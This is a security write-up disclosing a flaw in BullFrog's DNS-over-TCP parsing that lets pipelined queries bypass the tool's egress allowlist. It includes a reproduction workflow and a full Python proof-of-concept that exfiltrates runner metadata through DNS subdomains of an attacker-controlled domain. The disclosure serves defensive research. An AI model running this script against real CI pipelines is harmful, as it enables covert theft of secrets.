Original text by evansh.bearblog.dev
The article analyzes a vulnerability in BullFrog, an open-source GitHub Actions security tool designed to enforce outbound network filtering in CI/CD pipelines. BullFrog intercepts network packets using NFQUEUE and inspects DNS queries to ensure they match an allowlist of approved domains. The author discovered that the tool incorrectly parses DNS over TCP traffic. DNS messages over TCP can be pipelined, meaning multiple DNS queries may be sent sequentially within the same TCP connection. BullFrog’s parser only inspects the first DNS message in the TCP payload, validates it against the allowlist, and then accepts the entire packet without checking any additional messages contained in the same segment. An attacker can exploit this by crafting a TCP packet with two DNS queries: the first targeting an allowed domain and the second targeting a malicious domain used for data exfiltration. Because the filter only checks the first query, both queries pass through the firewall. This bypass allows attackers running code inside CI pipelines to exfiltrate secrets or communicate with external servers, defeating BullFrog’s egress-filtering protections.
visual exploit diagram:
CI Runner
│
│ Malicious workflow step
▼
Crafted DNS-over-TCP packet
│
├─ Query #1 → github.com (allowed)
└─ Query #2 → attacker-c2.com (blocked)
│
▼
BullFrog DNS Parser
(checks only first query)
│
▼
Firewall allows packet
│
▼
Attacker server receives DNS query
(secret exfiltration succeeds)
Bypassing egress filtering in BullFrog GitHub Action
Intro Lore
GitHub Actions runners are essentially ephemeral Linux VMs that execute your CI/CD pipelines. The fact that they can reach the internet by default has always been a quiet concern for security-conscious teams — one malicious or compromised step can silently exfiltrate secrets, environment variables, or runner metadata out to an attacker-controlled server.
A handful of tools have been built to address exactly this problem. One of them is BullFrog — a lightweight egress-filtering agent for GitHub Actions that promises to block outbound network traffic to domains outside your allowlist. The idea is elegant: drop everything except what you explicitly trust.
So naturally, I poked at it.
What is BullFrog?
BullFrog (bullfrogsec/bullfrog) is an open-source GitHub Actions security tool that intercepts and filters outbound network traffic from your CI runners. You drop it into your workflow as a step, hand it an allowed-domains list and an egress-policy, and it uses a userspace agent to enforce that policy on every outbound packet.
A typical setup looks like this:
- name: Set up bullfrog
uses: bullfrogsec/bullfrog@v0.8.4
with:
egress-policy: block
allowed-domains: |
*.github.com
After this step, any connection to a domain not on the allowlist should be blocked. The idea is solid. Supply chain attacks, secret exfiltration, dependency confusion — all of these require outbound connectivity. Cutting that off at the network layer is a genuinely good defensive primitive.
How It Works
The BullFrog agent (agent/agent.go) intercepts outbound packets using netfilter queue (NFQUEUE). When a DNS query packet is intercepted, the agent inspects the queried domain against the allowlist. If the domain matches — the packet goes through. If it doesn’t — dropped.
For DNS over UDP, this is fairly straightforward: one UDP datagram, one DNS message. But DNS also runs over TCP, and TCP is where things get interesting.
DNS Over TCP
DNS-over-TCP is used when a DNS response exceeds 512 bytes (common with DNSSEC, large records, etc.), or when a client explicitly prefers TCP for reliability. RFC 1035 specifies that DNS messages over TCP are prefixed with a 2-byte length field to delimit individual messages. Crucially, the same TCP connection can carry multiple DNS messages back-to-back — this is called DNS pipelining (RFC 7766).
This is the exact footgun BullFrog stepped on.
Vulnerability
BullFrog’s processDNSOverTCPPayload() function parses the incoming TCP payload, extracts the first DNS message using the 2-byte length prefix, checks it against the allowlist, and returns. It never looks at the rest of the TCP payload. If there are additional DNS messages pipelined in the same TCP segment, they are completely ignored.
The consequence: if the first message queries an allowed domain, the entire packet is accepted — including any subsequent messages querying blocked domains. Those blocked queries sail right through to the upstream DNS server.
Vulnerable Code
The smoking gun is at agent/agent.go#L403:
// Only decodes bytes from index 2 to messageLen+2 → first DNS message only
// Returns immediately after processing only the first message
// Ignores any remaining bytes in the TCP payload
The function slices payload[2 : messageLen+2], decodes that single DNS message, runs the policy check on it, and returns its verdict. Any bytes after messageLen+2 — which may contain one or more additional DNS messages — are never touched.
It’s a classic “check the first item, trust the rest” mistake. The guard is real, but it only covers the front door.
Proof of Concept
Attack Scenario
| Step | Action |
|---|---|
| 1 | Attacker sends two DNS queries in one TCP packet |
| 2 | First query: github.com → allowed domain |
| 3 | Second query: secret-data.attacker-c2.com → blocked domain |
| 4 | Agent parses only the first query → accepts the packet |
| 5 | Both queries reach the DNS server → exfiltration succeeds |
The first query acts as camouflage. The second is the actual payload — it can encode arbitrary data in the subdomain (hostname, runner name, env vars, secrets) and have it resolved by a DNS server the attacker controls. They observe the DNS lookup on their end and retrieve the exfiltrated data — no HTTP, no direct socket to a C2, no obvious telltale traffic pattern.
The workflow setup to reproduce this:
name: DNS Pipelining PoC
on:
push:
branches:
- "*"
jobs:
testBullFrog:
runs-on: ubuntu-22.04
steps:
- name: Checkout repository
uses: actions/checkout@v4
- name: Use Google DNS
run: |
sudo resolvectl dns eth0 8.8.8.8
resolvectl status
- name: Set up bullfrog to block everything
uses: bullfrogsec/bullfrog@1831f79cce8ad602eef14d2163873f27081ebfb3
with:
egress-policy: block
allowed-domains: |
*.github.com
- name: Test connectivity
run: |
python3 poc.py github.com YOUR_BURP_COLLABORATOR_SERVER
The PoC Script
The script below builds two raw DNS queries, wraps each with a TCP 2-byte length prefix per RFC 1035, concatenates them into a single payload, and sends it over one TCP connection to 8.8.8.8:53. Runner metadata (OS, kernel release, hostname, runner name) is embedded in the exfiltration domain.
#!/usr/bin/env python3
import sys
import os
import socket
import random
import struct
import binascii
import platform
import subprocess
# ------------------------------------------------------------
# Helper: Build minimal DNS A-record query
# ------------------------------------------------------------
def build_dns_query(domain: str, txid: int) -> bytes:
header = struct.pack("!HHHHHH", txid, 0x0100, 1, 0, 0, 0)
qname = b""
for label in domain.split("."):
qname += bytes([len(label)]) + label.encode("ascii")
qname += b"\x00"
qtype_qclass = struct.pack("!HH", 1, 1) # A record, IN class
return header + qname + qtype_qclass
# ------------------------------------------------------------
# Helper: Prepend TCP length prefix
# ------------------------------------------------------------
def create_tcp_dns_msg(query: bytes) -> bytes:
return struct.pack("!H", len(query)) + query
# =============================================================
# ========================== MAIN =============================
# =============================================================
def main() -> None:
if len(sys.argv) != 3:
print("Usage: python3 dns_exfil_uname.py <allowed_domain> <blocked_base>")
print(" <blocked_base> will be appended after uname details.")
sys.exit(1)
allowed_domain = sys.argv[1].strip()
blocked_base = sys.argv[2].strip().rstrip(".")
dns_server = "8.8.8.8"
dns_port = 53
# ----------------------------------------------------------------
# 1. Gather precise runner details via uname and gethostname
# ----------------------------------------------------------------
try:
uname_result = platform.uname()
sysname = uname_result.system.lower().replace(" ", "-")
release = uname_result.release.lower().replace(" ", "-")
except Exception:
# Fallback if platform.uname() fails
try:
uname_output = subprocess.check_output(["uname", "-s", "-r"], text=True).strip().split()
sysname = uname_output[0].lower().replace(" ", "-")
release = uname_output[1].lower().replace(" ", "-")
except Exception:
sysname = "unknown-sys"
release = "unknown-rel"
try:
hostname = socket.gethostname().strip().lower().replace(" ", "-")
except Exception:
hostname = "unknown-host"
try:
runner_name = os.getenv("RUNNER_NAME", "unknown-runner").strip().lower().replace(" ", "-")
except Exception:
runner_name = "unknown-runner"
# ----------------------------------------------------------------
# 2. Construct exfiltration domain: <sysname>.<release>.<hostname>.<runner_name>.<blocked_base>
# ----------------------------------------------------------------
exfil_domain = f"{sysname}.{release}.{hostname}.{runner_name}.{blocked_base}"
print(f"[*] Exfiltration domain: {exfil_domain}")
# ----------------------------------------------------------------
# 3. Generate transaction IDs
# ----------------------------------------------------------------
id_allowed = random.randint(1000, 9999)
id_exfil = random.randint(1000, 9999)
# ----------------------------------------------------------------
# 4. Build queries
# ----------------------------------------------------------------
query_allowed = build_dns_query(allowed_domain, id_allowed)
query_exfil = build_dns_query(exfil_domain, id_exfil)
msg_allowed = create_tcp_dns_msg(query_allowed)
msg_exfil = create_tcp_dns_msg(query_exfil)
combined_payload = msg_allowed + msg_exfil
print(f"[*] Target DNS: {dns_server}:{dns_port}")
print(f"[*] Transaction IDs → Allowed: {id_allowed}, Exfil: {id_exfil}")
print(f"[*] Payload size: {len(combined_payload)} bytes")
print(f"[*] Leaked details → sysname: {sysname}, release: {release}, hostname: {hostname}, runner_name: {runner_name}")
# ----------------------------------------------------------------
# 5. Send and receive
# ----------------------------------------------------------------
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((dns_server, dns_port))
print("[*] Connected. Sending pipelined DNS queries...")
sock.sendall(combined_payload)
print("[*] Listening for responses...")
received = b""
found_allowed = False
found_exfil = False
id_a_bytes = struct.pack("!H", id_allowed)
id_e_bytes = struct.pack("!H", id_exfil)
while True:
chunk = sock.recv(4096)
if not chunk:
break
received += chunk
if not found_allowed and id_a_bytes in received:
found_allowed = True
print("[+] Response received for ALLOWED domain")
if not found_exfil and id_e_bytes in received:
found_exfil = True
print("[!!!] EXFILTRATION SUCCESSFUL [!!!]")
print(f" Leaked: sysname={sysname}, release={release}, hostname={hostname}, runner_name={runner_name}")
print(f" Domain: {exfil_domain}")
print(" => Firewall/policy failed to block exfiltration!")
if found_allowed and found_exfil:
break
except socket.timeout:
print("[!] Timeout: No full response received.")
except Exception as e:
print(f"[!] Error: {e}")
finally:
sock.close()
# ----------------------------------------------------------------
# 6. Raw dump (first 200 bytes)
# ----------------------------------------------------------------
if received:
print("\n[*] Raw response (first 200 bytes):")
print(binascii.hexlify(received[:200]).decode("ascii"))
else:
print("\n[*] No response data received.")
if __name__ == "__main__":
main()


Running this against a real workflow with BullFrog configured to allow only *.github.com, the runner’s OS, kernel version, hostname, and RUNNER_NAME env variable were successfully observed in Burp Collaborator’s DNS logs — proving that the second DNS query bypassed the policy entirely.
Disclosure Timeline
- Discovery & Report: 28th November 2025
- Vendor Contact: 28th November 2025
- Vendor Response: None
- Public Disclosure: 28th February 2026
I reported this to the BullFrog team on November 28th, 2025 via their GitHub repository. After roughly three months with no response, acknowledgment, or patch, I’m disclosing this publicly. The vulnerability is straightforward to exploit and affects any workflow using BullFrog with egress-policy: block that routes DNS over TCP — which Google’s 8.8.8.8 supports natively.
Affected Versions: v0.8.4 and likely all prior versions
Fixed Versions: None as of disclosure date (did not bother to check)

